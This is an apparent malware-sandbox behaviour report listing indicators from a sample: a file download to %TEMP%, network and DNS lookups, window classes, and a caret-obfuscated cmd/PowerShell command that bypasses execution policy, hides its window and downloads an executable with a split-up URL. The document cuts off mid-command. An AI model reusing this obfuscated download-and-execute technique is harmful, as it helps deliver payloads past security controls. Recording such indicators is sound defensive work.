Technical Information
- ht+t+ps:+//+the.earth.li/~sgtatham/putty/latest/w32/putty.exe as %temp%\putty.exe
- %TEMP%\putty.exe
- 'th#.#arth.li':443
- DNS ASK th#.#arth.li
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebCheckMonitor' WindowName: ''
- '%TEMP%\putty.exe'
- '<SYSTEM32>\cmd.exe' /c p^o^w^e^r^s^h^e^l^l.exe -ExecutionPolicy bypass -noprofile -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('ht'+'t'+'ps:'+'//'+'the.earth.li/~sgtatham/putty/latest/w32/put...